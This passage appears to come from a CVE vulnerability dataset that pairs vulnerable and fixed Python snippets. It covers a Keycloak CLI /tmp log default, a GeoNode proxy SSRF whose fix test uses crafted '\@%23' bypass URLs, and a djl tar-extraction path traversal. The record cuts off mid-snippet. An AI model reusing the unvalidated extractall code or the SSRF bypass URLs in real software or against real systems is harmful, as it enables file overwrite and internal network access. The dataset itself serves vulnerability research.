 parser.add_argument('--tls-verify', action=TlsVerifyAction,\n                        default=True,\n                        help='TLS certificate verification for requests to'\n                        ' the server. May be one of case insenstive '\n                        '[true, yes, on] to enable,'\n                        '[false, no, off] to disable.'\n                        'Or the pathname to a OpenSSL CA bundle to use.'\n                        ' Default is True.')\n\n    group = parser.add_argument_group('Server')\n\n    group.add_argument('-s', '--server',\n                       required=True,\n                       help='DNS name or IP address of Keycloak server')\n\n    group.add_argument('-a', '--auth-role',\n                       choices=AUTH_ROLES,\n                       default='root-admin',\n                       help='authenticating as what type of user (default: root-admin)')\n\n    group.add_argument('-u', '--admin-username',\n                       default='admin',\n                       help='admin user name (default: admin)')\n\n    group.add_argument('-P', '--admin-password-file',\n                       type=argparse.FileType('rb'),\n                       help=('file containing admin password '\n                             '(or use a hyphen \"-\" to read the password '\n                             'from stdin)'))\n\n    group.add_argument('--admin-realm',\n                       default='master',\n                       help='realm admin belongs to')\n\n    cmd_parsers = parser.add_subparsers(help='available commands')\n\n    # --- realm commands ---\n    realm_parser = cmd_parsers.add_parser('realm',\n                                          help='realm operations')\n\n    sub_parser = realm_parser.add_subparsers(help='realm commands')\n\n    cmd_parser = sub_parser.add_parser('server_info',\n                                       help='dump server info')\n    cmd_parser.set_defaults(func=do_server_info)\n\n    cmd_parser = sub_parser.add_parser('list',\n                                       help='list realm names')\n    cmd_parser.set_defaults(func=do_list_realms)\n\n    cmd_parser = sub_parser.add_parser('create',\n                                       help='create new realm')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_create_realm)\n\n    cmd_parser = sub_parser.add_parser('delete',\n                                       help='delete existing realm')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_delete_realm)\n\n    cmd_parser = sub_parser.add_parser('metadata',\n                                       help='retrieve realm metadata')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.set_defaults(func=do_get_realm_metadata)\n\n    # --- client commands ---\n    client_parser = cmd_parsers.add_parser('client',\n                                           help='client operations')\n\n    sub_parser = client_parser.add_subparsers(help='client commands')\n\n    cmd_parser = sub_parser.add_parser('list',\n                                       help='list client names')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n\n    cmd_parser.set_defaults(func=do_list_clients)\n\n    cmd_parser = sub_parser.add_parser('create',\n                                       help='create new client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-m', '--metadata', type=argparse.FileType('rb'),\n                            required=True,\n                            help='SP metadata file or stdin')\n    cmd_parser.set_defaults(func=do_create_client)\n\n    cmd_parser = sub_parser.add_parser('register',\n                                       help='register new client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-m', '--metadata', type=argparse.FileType('rb'),\n                            required=True,\n                            help='SP metadata file or stdin')\n    cmd_parser.add_argument('--initial-access-token', required=True,\n                            help='realm initial access token for '\n                            'client registeration')\n    cmd_parser.set_defaults(func=do_register_client)\n\n    cmd_parser = sub_parser.add_parser('delete',\n                                       help='delete existing client')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-c', '--client-name', required=True,\n                            help='client name')\n    cmd_parser.set_defaults(func=do_delete_client)\n\n    cmd_parser = sub_parser.add_parser('test',\n                                       help='experimental test used during '\n                                       'development')\n    cmd_parser.add_argument('-r', '--realm-name', required=True,\n                            help='realm name')\n    cmd_parser.add_argument('-c', '--client-name', required=True,\n                            help='client name')\n    cmd_parser.set_defaults(func=do_client_test)\n\n    # Process command line arguments\n    options = parser.parse_args()\n    configure_logging(options)\n\n    if options.permit_insecure_transport:\n        os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n\n    # Get admin password\n    options.admin_password = None\n\n    # 1. Try password file\n    if options.admin_password_file is not None:\n        options.admin_password = options.keycloak_admin_password_file.readline().strip()\n        options.keycloak_admin_password_file.close()\n\n    # 2. Try KEYCLOAK_ADMIN_PASSWORD environment variable\n    if options.admin_password is None:\n        if (('KEYCLOAK_ADMIN_PASSWORD' in os.environ) and\n            (os.environ['KEYCLOAK_ADMIN_PASSWORD'])):\n            options.admin_password = os.environ['KEYCLOAK_ADMIN_PASSWORD']\n\n    try:\n        anonymous_conn = KeycloakAnonymousConnection(options.server,\n                                                     options.tls_verify)\n\n        admin_conn = KeycloakAdminConnection(options.server,\n                                             options.auth_role,\n                                             options.admin_realm,\n                                             ADMIN_CLIENT_ID,\n                                             options.admin_username,\n                                             options.admin_password,\n                                             options.tls_verify)\n    except Exception as e:\n        if options.show_traceback:\n            traceback.print_exc()\n        print(six.text_type(e), file=sys.stderr)\n        result = 1\n        return result\n\n    try:\n        if options.func == do_register_client:\n            conn = admin_conn\n        else:\n            conn = admin_conn\n        result = options.func(options, conn)\n    except Exception as e:\n        if options.show_traceback:\n            traceback.print_exc()\n        print(six.text_type(e), file=sys.stderr)\n        result = 2\n        return result\n\n    return result"}], "vul_patch": "--- a/keycloak_httpd_client/keycloak_cli.py\n+++ b/keycloak_httpd_client/keycloak_cli.py\n@@ -18,7 +18,7 @@\n                              'error message')\n \n     parser.add_argument('--log-file',\n-                        default='/tmp/{prog_name}.log'.format(\n+                        default='{prog_name}.log'.format(\n                             prog_name=prog_name),\n                         help='log file pathname')\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40017", "cve_description": "GeoNode is an open source platform that facilitates the creation, sharing, and collaborative use of geospatial data. In versions 3.2.0 through 4.1.2, the endpoint `/proxy/?url=` does not properly protect against server-side request forgery. This allows an attacker to port scan internal hosts and request information from internal hosts. A patch is available at commit a9eebae80cb362009660a1fd49e105e7cdb499b9.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/GeoNode/geonode", "patch_url": ["https://github.com/GeoNode/geonode/commit/a9eebae80cb362009660a1fd49e105e7cdb499b9"], "programing_language": "Python", "vul_func": [{"id": "vul_py_160_1", "commit": "618776e", "file_path": "geonode/proxy/tests.py", "start_line": 63, "end_line": 261, "snippet": "        self.maxDiff = None\n        self.admin = get_user_model().objects.get(username=\"admin\")\n\n        # FIXME(Ariel): These tests do not work when the computer is offline.\n        self.proxy_url = \"/proxy/\"\n        self.url = TEST_URL\n\n    @override_settings(DEBUG=True, PROXY_ALLOWED_HOSTS=())\n    def test_validate_host_disabled_in_debug(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is True, all hosts pass the proxy.\"\"\"\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertTrue(response.status_code in (200, 301), response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=())\n    def test_validate_host_disabled_not_in_debug(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is False requests should return 403.\"\"\"\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertEqual(response.status_code, 403, response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=(TEST_DOMAIN,))\n    def test_proxy_allowed_host(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is not empty and DEBUG is False requests should return no error.\"\"\"\n        self.client.login(username=\"admin\", password=\"admin\")\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertEqual(response.status_code, 200, response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=())\n    def test_validate_remote_services_hosts(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is False requests should return 200\n        for Remote Services hosts.\"\"\"\n        from geonode.services.models import Service\n        from geonode.services.enumerations import WMS, INDEXED\n\n        Service.objects.get_or_create(\n            type=WMS,\n            name=\"Bogus\",\n            title=\"Pocus\",\n            owner=self.admin,\n            method=INDEXED,\n            base_url=\"http://bogus.pocus.com/ows\",\n        )\n        response = self.client.get(f\"{self.proxy_url}?url=http://bogus.pocus.com/ows/wms?request=GetCapabilities\")\n        # 200 - FOUND\n        self.assertTrue(response.status_code in (200, 301))\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=(\".example.org\",))\n    def test_relative_urls(self):\n        \"\"\"Proxying to a URL with a relative path element should normalise the path into\n        an absolute path before calling the remote URL.\"\"\"\n        import geonode.proxy.views\n\n        class Response:\n            status_code = 200\n            content = \"Hello World\"\n            headers = {\"Content-Type\": \"text/html\"}\n\n        request_mock = MagicMock()\n        request_mock.return_value = (Response(), None)\n\n        geonode.proxy.views.http_client.request = request_mock\n        url = \"http://example.org/test/test/../../index.html\"\n\n        self.client.get(f\"{self.proxy_url}?url={url}\")\n        assert request_mock.call_args[0][0] == \"http://example.org/index.html\"\n\n    def test_proxy_preserve_headers(self):\n        \"\"\"The GeoNode Proxy should preserve the original request headers.\"\"\"\n        import geonode.proxy.views\n\n        _test_headers = {\n            \"Access-Control-Allow-Credentials\": False,\n            \"Access-Control-Allow-Headers\": \"Content-Type, Accept, Authorization, Origin, User-Agent\",\n            \"Access-Control-Allow-Methods\": \"GET, POST, PUT, PATCH, OPTIONS\",\n            \"Cache-Control\": \"public, must-revalidate, max-age = 30\",\n            \"Connection\": \"keep-alive\",\n            \"Content-Language\": \"en\",\n            \"Content-Length\": 116559,\n            \"Content-Type\": \"image/tiff\",\n            \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n            \"Date\": \"Fri, 05 Nov 2021 17: 19: 11 GMT\",\n            \"Server\": \"nginx/1.17.2\",\n            \"Set-Cookie\": \"sessionid = bogus-pocus; HttpOnly; Path=/; SameSite=Lax\",\n            \"Strict-Transport-Security\": \"max-age=3600; includeSubDomains\",\n            \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n            \"X-Content-Type-Options\": \"nosniff\",\n            \"X-XSS-Protection\": \"1; mode=block\",\n        }\n\n        class Response:\n            status_code = 200\n            content = \"Hello World\"\n            headers = _test_headers\n\n        request_mock = MagicMock()\n        request_mock.return_value = (Response(), None)\n\n        geonode.proxy.views.http_client.request = request_mock\n        url = \"http://example.org/test/test/../../image.tiff\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertDictContainsSubset(\n            dict(response.headers.copy()),\n            {\n                \"Content-Type\": \"text/plain\",\n                \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n                \"X-Content-Type-Options\": \"nosniff\",\n                \"X-XSS-Protection\": \"1; mode=block\",\n                \"Referrer-Policy\": \"same-origin\",\n                \"X-Frame-Options\": \"SAMEORIGIN\",\n                \"Content-Language\": \"en-us\",\n                \"Content-Length\": \"119\",\n                \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n            },\n        )\n\n\nclass DownloadResourceTestCase(GeoNodeBaseTestSupport):\n    def setUp(self):\n        super().setUp()\n        self.maxDiff = None\n        create_models(type=\"dataset\")\n\n    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n    def test_download_url_with_not_existing_file(self):\n        dataset = Dataset.objects.all().first()\n        self.client.login(username=\"admin\", password=\"admin\")\n        # ... all should be good\n        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n        # Espected 404 since there are no files available for this layer\n        self.assertEqual(response.status_code, 404)\n        content = response.content\n        if isinstance(content, bytes):\n            content = content.decode(\"UTF-8\")\n        data = content\n        self.assertTrue(\"No files have been found for this resource. Please, contact a system administrator.\" in data)\n\n    @patch(\"geonode.storage.manager.storage_manager.exists\")\n    @patch(\"geonode.storage.manager.storage_manager.open\")\n    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n    def test_download_url_with_existing_files(self, fopen, fexists):\n        fexists.return_value = True\n        fopen.return_value = SimpleUploadedFile(\"foo_file.shp\", b\"scc\")\n        dataset = Dataset.objects.all().first()\n\n        dataset.files = [\n            \"/tmpe1exb9e9/foo_file.dbf\",\n            \"/tmpe1exb9e9/foo_file.prj\",\n            \"/tmpe1exb9e9/foo_file.shp\",\n            \"/tmpe1exb9e9/foo_file.shx\",\n        ]\n\n        dataset.save()\n\n        dataset.refresh_from_db()\n\n        upload = Upload.objects.create(state=\"RUNNING\", resource=dataset)\n\n        assert upload\n\n        self.client.login(username=\"admin\", password=\"admin\")\n        # ... all should be good\n        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n        # Espected 404 since there are no files available for this layer\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(\"application/zip\", response.headers.get(\"Content-Type\"))\n        self.assertEqual('attachment; filename=\"CA.zip\"', response.headers.get(\"Content-Disposition\"))\n\n    @patch(\"geonode.storage.manager.storage_manager.exists\")\n    @patch(\"geonode.storage.manager.storage_manager.open\")\n    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n    def test_download_files(self, fopen, fexists):\n        fexists.return_value = True\n        fopen.return_value = SimpleUploadedFile(\"foo_file.shp\", b\"scc\")\n        dataset = Dataset.objects.all().first()\n\n        dataset.files = [\n            \"/tmpe1exb9e9/foo_file.dbf\",\n            \"/tmpe1exb9e9/foo_file.prj\",\n            \"/tmpe1exb9e9/foo_file.shp\",\n            \"/tmpe1exb9e9/foo_file.shx\",\n        ]\n\n        dataset.save()\n\n        dataset.refresh_from_db()\n\n        Upload.objects.create(state=\"COMPLETE\", resource=dataset)\n\n        self.client.login(username=\"admin\", password=\"admin\")\n        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n        # headers and status assertions\n        self.assertEqual(response.status_code, 200)\n        self.assertEqual(response.get(\"content-type\"), \"application/zip\")\n        self.assertEqual(response.get(\"content-disposition\"), f'attachment; filename=\"{dataset.name}.zip\"')\n        # Inspect content\n        zip_content = io.BytesIO(b\"\".join(response.streaming_content))"}], "fix_func": [{"id": "fix_py_160_1", "commit": "a9eebae", "file_path": "geonode/proxy/tests.py", "start_line": 70, "end_line": 268, "snippet": "    @override_settings(DEBUG=True, PROXY_ALLOWED_HOSTS=())\n    def test_validate_host_disabled_in_debug(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is True, all hosts pass the proxy.\"\"\"\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertTrue(response.status_code in (200, 301), response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=())\n    def test_validate_host_disabled_not_in_debug(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is False requests should return 403.\"\"\"\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertEqual(response.status_code, 403, response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=(TEST_DOMAIN,))\n    def test_proxy_allowed_host(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is not empty and DEBUG is False requests should return no error.\"\"\"\n        self.client.login(username=\"admin\", password=\"admin\")\n        response = self.client.get(f\"{self.proxy_url}?url={self.url}\")\n        if response.status_code != 404:  # 404 - NOT FOUND\n            self.assertEqual(response.status_code, 200, response.status_code)\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=())\n    def test_validate_remote_services_hosts(self):\n        \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is False requests should return 200\n        for Remote Services hosts.\"\"\"\n        from geonode.services.models import Service\n        from geonode.services.enumerations import WMS, INDEXED\n\n        Service.objects.get_or_create(\n            type=WMS,\n            name=\"Bogus\",\n            title=\"Pocus\",\n            owner=self.admin,\n            method=INDEXED,\n            base_url=\"http://bogus.pocus.com/ows\",\n        )\n        response = self.client.get(f\"{self.proxy_url}?url=http://bogus.pocus.com/ows/wms?request=GetCapabilities\")\n        # 200 - FOUND\n        self.assertTrue(response.status_code in (200, 301))\n\n    @override_settings(DEBUG=False, PROXY_ALLOWED_HOSTS=(\".example.org\",))\n    def test_relative_urls(self):\n        \"\"\"Proxying to a URL with a relative path element should normalise the path into\n        an absolute path before calling the remote URL.\"\"\"\n        import geonode.proxy.views\n\n        class Response:\n            status_code = 200\n            content = \"Hello World\"\n            headers = {\"Content-Type\": \"text/html\"}\n\n        request_mock = MagicMock()\n        request_mock.return_value = (Response(), None)\n\n        geonode.proxy.views.http_client.request = request_mock\n        url = \"http://example.org/test/test/../../index.html\"\n\n        self.client.get(f\"{self.proxy_url}?url={url}\")\n        assert request_mock.call_args[0][0] == \"http://example.org/index.html\"\n\n    def test_proxy_preserve_headers(self):\n        \"\"\"The GeoNode Proxy should preserve the original request headers.\"\"\"\n        import geonode.proxy.views\n\n        _test_headers = {\n            \"Access-Control-Allow-Credentials\": False,\n            \"Access-Control-Allow-Headers\": \"Content-Type, Accept, Authorization, Origin, User-Agent\",\n            \"Access-Control-Allow-Methods\": \"GET, POST, PUT, PATCH, OPTIONS\",\n            \"Cache-Control\": \"public, must-revalidate, max-age = 30\",\n            \"Connection\": \"keep-alive\",\n            \"Content-Language\": \"en\",\n            \"Content-Length\": 116559,\n            \"Content-Type\": \"image/tiff\",\n            \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n            \"Date\": \"Fri, 05 Nov 2021 17: 19: 11 GMT\",\n            \"Server\": \"nginx/1.17.2\",\n            \"Set-Cookie\": \"sessionid = bogus-pocus; HttpOnly; Path=/; SameSite=Lax\",\n            \"Strict-Transport-Security\": \"max-age=3600; includeSubDomains\",\n            \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n            \"X-Content-Type-Options\": \"nosniff\",\n            \"X-XSS-Protection\": \"1; mode=block\",\n        }\n\n        class Response:\n            status_code = 200\n            content = \"Hello World\"\n            headers = _test_headers\n\n        request_mock = MagicMock()\n        request_mock.return_value = (Response(), None)\n\n        geonode.proxy.views.http_client.request = request_mock\n        url = \"http://example.org/test/test/../../image.tiff\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertDictContainsSubset(\n            dict(response.headers.copy()),\n            {\n                \"Content-Type\": \"text/plain\",\n                \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n                \"X-Content-Type-Options\": \"nosniff\",\n                \"X-XSS-Protection\": \"1; mode=block\",\n                \"Referrer-Policy\": \"same-origin\",\n                \"X-Frame-Options\": \"SAMEORIGIN\",\n                \"Content-Language\": \"en-us\",\n                \"Content-Length\": \"119\",\n                \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n            },\n        )\n\n    def test_proxy_url_forgery(self):\n        \"\"\"The GeoNode Proxy should preserve the original request headers.\"\"\"\n        import geonode.proxy.views\n        from urllib.parse import urlsplit\n\n        class Response:\n            status_code = 200\n            content = \"Hello World\"\n            headers = {\n                \"Content-Type\": \"text/plain\",\n                \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n                \"X-Content-Type-Options\": \"nosniff\",\n                \"X-XSS-Protection\": \"1; mode=block\",\n                \"Referrer-Policy\": \"same-origin\",\n                \"X-Frame-Options\": \"SAMEORIGIN\",\n                \"Content-Language\": \"en-us\",\n                \"Content-Length\": \"119\",\n                \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n            }\n\n        request_mock = MagicMock()\n        request_mock.return_value = (Response(), None)\n\n        # Non-Legit requests attempting SSRF\n        geonode.proxy.views.http_client.request = request_mock\n        url = f\"http://example.org\\@%23{urlsplit(settings.SITEURL).hostname}\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertEqual(response.status_code, 403)\n\n        url = f\"http://125.126.127.128\\@%23{urlsplit(settings.SITEURL).hostname}\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertEqual(response.status_code, 403)\n\n        # Legit requests using the local host (SITEURL)\n        url = f\"/\\@%23{urlsplit(settings.SITEURL).hostname}\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertEqual(response.status_code, 200)\n\n        url = f\"{settings.SITEURL}\\@%23{urlsplit(settings.SITEURL).hostname}\"\n\n        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n        self.assertEqual(response.status_code, 200)\n\n\nclass DownloadResourceTestCase(GeoNodeBaseTestSupport):\n    def setUp(self):\n        super().setUp()\n        self.maxDiff = None\n        create_models(type=\"dataset\")\n\n    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n    def test_download_url_with_not_existing_file(self):\n        dataset = Dataset.objects.all().first()\n        self.client.login(username=\"admin\", password=\"admin\")\n        # ... all should be good\n        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n        # Espected 404 since there are no files available for this layer\n        self.assertEqual(response.status_code, 404)\n        content = response.content\n        if isinstance(content, bytes):\n            content = content.decode(\"UTF-8\")\n        data = content\n        self.assertTrue(\"No files have been found for this resource. Please, contact a system administrator.\" in data)\n\n    @patch(\"geonode.storage.manager.storage_manager.exists\")\n    @patch(\"geonode.storage.manager.storage_manager.open\")\n    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n    def test_download_url_with_existing_files(self, fopen, fexists):\n        fexists.return_value = True\n        fopen.return_value = SimpleUploadedFile(\"foo_file.shp\", b\"scc\")\n        dataset = Dataset.objects.all().first()\n\n        dataset.files = [\n            \"/tmpe1exb9e9/foo_file.dbf\",\n            \"/tmpe1exb9e9/foo_file.prj\",\n            \"/tmpe1exb9e9/foo_file.shp\",\n            \"/tmpe1exb9e9/foo_file.shx\",\n        ]\n\n        dataset.save()\n\n        dataset.refresh_from_db()\n\n        upload = Upload.objects.create(state=\"RUNNING\", resource=dataset)\n"}, {"id": "fix_py_160_2", "commit": "a9eebae", "file_path": "geonode/utils.py", "start_line": 1934, "end_line": 1953, "snippet": "def extract_ip_or_domain(url):\n    ip_regex = re.compile(\"^(?:http\\:\\/\\/|https\\:\\/\\/)(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\")\n    domain_regex = re.compile(\"^(?:http\\:\\/\\/|https\\:\\/\\/)([a-zA-Z0-9.-]+)\")\n\n    match = ip_regex.findall(url)\n    if len(match):\n        ip_address = match[0]\n        try:\n            ipaddress.ip_address(ip_address)  # Validate the IP address\n            return ip_address\n        except ValueError:\n            pass\n\n    match = domain_regex.findall(url)\n    if len(match):\n        return match[0]\n\n    return None\n\n"}], "vul_patch": "--- a/geonode/proxy/tests.py\n+++ b/geonode/proxy/tests.py\n@@ -1,10 +1,3 @@\n-        self.maxDiff = None\n-        self.admin = get_user_model().objects.get(username=\"admin\")\n-\n-        # FIXME(Ariel): These tests do not work when the computer is offline.\n-        self.proxy_url = \"/proxy/\"\n-        self.url = TEST_URL\n-\n     @override_settings(DEBUG=True, PROXY_ALLOWED_HOSTS=())\n     def test_validate_host_disabled_in_debug(self):\n         \"\"\"If PROXY_ALLOWED_HOSTS is empty and DEBUG is True, all hosts pass the proxy.\"\"\"\n@@ -116,6 +109,52 @@\n             },\n         )\n \n+    def test_proxy_url_forgery(self):\n+        \"\"\"The GeoNode Proxy should preserve the original request headers.\"\"\"\n+        import geonode.proxy.views\n+        from urllib.parse import urlsplit\n+\n+        class Response:\n+            status_code = 200\n+            content = \"Hello World\"\n+            headers = {\n+                \"Content-Type\": \"text/plain\",\n+                \"Vary\": \"Authorization, Accept-Language, Cookie, origin\",\n+                \"X-Content-Type-Options\": \"nosniff\",\n+                \"X-XSS-Protection\": \"1; mode=block\",\n+                \"Referrer-Policy\": \"same-origin\",\n+                \"X-Frame-Options\": \"SAMEORIGIN\",\n+                \"Content-Language\": \"en-us\",\n+                \"Content-Length\": \"119\",\n+                \"Content-Disposition\": 'attachment; filename=\"filename.tif\"',\n+            }\n+\n+        request_mock = MagicMock()\n+        request_mock.return_value = (Response(), None)\n+\n+        # Non-Legit requests attempting SSRF\n+        geonode.proxy.views.http_client.request = request_mock\n+        url = f\"http://example.org\\@%23{urlsplit(settings.SITEURL).hostname}\"\n+\n+        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n+        self.assertEqual(response.status_code, 403)\n+\n+        url = f\"http://125.126.127.128\\@%23{urlsplit(settings.SITEURL).hostname}\"\n+\n+        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n+        self.assertEqual(response.status_code, 403)\n+\n+        # Legit requests using the local host (SITEURL)\n+        url = f\"/\\@%23{urlsplit(settings.SITEURL).hostname}\"\n+\n+        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n+        self.assertEqual(response.status_code, 200)\n+\n+        url = f\"{settings.SITEURL}\\@%23{urlsplit(settings.SITEURL).hostname}\"\n+\n+        response = self.client.get(f\"{self.proxy_url}?url={url}\")\n+        self.assertEqual(response.status_code, 200)\n+\n \n class DownloadResourceTestCase(GeoNodeBaseTestSupport):\n     def setUp(self):\n@@ -157,43 +196,3 @@\n         dataset.refresh_from_db()\n \n         upload = Upload.objects.create(state=\"RUNNING\", resource=dataset)\n-\n-        assert upload\n-\n-        self.client.login(username=\"admin\", password=\"admin\")\n-        # ... all should be good\n-        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n-        # Espected 404 since there are no files available for this layer\n-        self.assertEqual(response.status_code, 200)\n-        self.assertEqual(\"application/zip\", response.headers.get(\"Content-Type\"))\n-        self.assertEqual('attachment; filename=\"CA.zip\"', response.headers.get(\"Content-Disposition\"))\n-\n-    @patch(\"geonode.storage.manager.storage_manager.exists\")\n-    @patch(\"geonode.storage.manager.storage_manager.open\")\n-    @on_ogc_backend(geoserver.BACKEND_PACKAGE)\n-    def test_download_files(self, fopen, fexists):\n-        fexists.return_value = True\n-        fopen.return_value = SimpleUploadedFile(\"foo_file.shp\", b\"scc\")\n-        dataset = Dataset.objects.all().first()\n-\n-        dataset.files = [\n-            \"/tmpe1exb9e9/foo_file.dbf\",\n-            \"/tmpe1exb9e9/foo_file.prj\",\n-            \"/tmpe1exb9e9/foo_file.shp\",\n-            \"/tmpe1exb9e9/foo_file.shx\",\n-        ]\n-\n-        dataset.save()\n-\n-        dataset.refresh_from_db()\n-\n-        Upload.objects.create(state=\"COMPLETE\", resource=dataset)\n-\n-        self.client.login(username=\"admin\", password=\"admin\")\n-        response = self.client.get(reverse(\"download\", args=(dataset.id,)))\n-        # headers and status assertions\n-        self.assertEqual(response.status_code, 200)\n-        self.assertEqual(response.get(\"content-type\"), \"application/zip\")\n-        self.assertEqual(response.get(\"content-disposition\"), f'attachment; filename=\"{dataset.name}.zip\"')\n-        # Inspect content\n-        zip_content = io.BytesIO(b\"\".join(response.streaming_content))\n\n--- /dev/null\n+++ b/geonode/proxy/tests.py\n@@ -0,0 +1,19 @@\n+def extract_ip_or_domain(url):\n+    ip_regex = re.compile(\"^(?:http\\:\\/\\/|https\\:\\/\\/)(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\")\n+    domain_regex = re.compile(\"^(?:http\\:\\/\\/|https\\:\\/\\/)([a-zA-Z0-9.-]+)\")\n+\n+    match = ip_regex.findall(url)\n+    if len(match):\n+        ip_address = match[0]\n+        try:\n+            ipaddress.ip_address(ip_address)  # Validate the IP address\n+            return ip_address\n+        except ValueError:\n+            pass\n+\n+    match = domain_regex.findall(url)\n+    if len(match):\n+        return match[0]\n+\n+    return None\n+\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-2914", "cve_description": "A TarSlip vulnerability exists in the deepjavalibrary/djl, affecting version 0.26.0 and fixed in version 0.27.0. This vulnerability allows an attacker to manipulate file paths within tar archives to overwrite arbitrary files on the target system. Exploitation of this vulnerability could lead to remote code execution, privilege escalation, data theft or manipulation, and denial of service. The vulnerability is due to improper validation of file paths during the extraction of tar files, as demonstrated in multiple occurrences within the library's codebase, including but not limited to the files_util.py and extract_imagenet.py scripts.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/deepjavalibrary/djl", "patch_url": ["https://github.com/deepjavalibrary/djl/commit/5235be508cec9e8cb6f496a4ed2fa40e4f62c370"], "programing_language": "Python", "vul_func": [{"id": "vul_py_328_1", "commit": "64c1b96", "file_path": "extensions/spark/setup/djl_spark/util/files_util.py", "start_line": 67, "end_line": 86, "snippet": "def download_and_extract(url, path):\n    \"\"\"Download and extract a tar file.\n\n    :param url: The url of the tar file.\n    :param path: The path to the file to download to.\n    \"\"\"\n    if not os.path.exists(path):\n        os.makedirs(path)\n    if not os.listdir(path):\n        with tmpdir() as tmp:\n            tmp_file = os.path.join(tmp, \"tar_file\")\n            if url.startswith(\"s3://\"):\n                s3_download(url, tmp_file)\n                with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n                    t.extractall(path=path)\n            elif url.startswith(\"http://\") or url.startswith(\"https://\"):\n                with urlopen(url) as response, open(tmp_file, 'wb') as f:\n                    shutil.copyfileobj(response, f)\n                with tarfile.open(name=tmp_file, mode=\"r:gz\") as t:\n                    t.extractall(path=path)"}], "fix_func": [{"id": "fix_py_328_1", "commit": "5235be508cec9e8cb6f496a4ed2fa40e4f62c370", "file_path": "extensions/spark/setup/djl_spark/util/files_util.py", "start_line": 67, "end_line": 100, "snippet": "def download_and_extract(url, path):\n    \"\"\"Download and extract a tar file.\n\n    :param url: The url of the tar file.\n    :param path: The path to the file to download to.\n    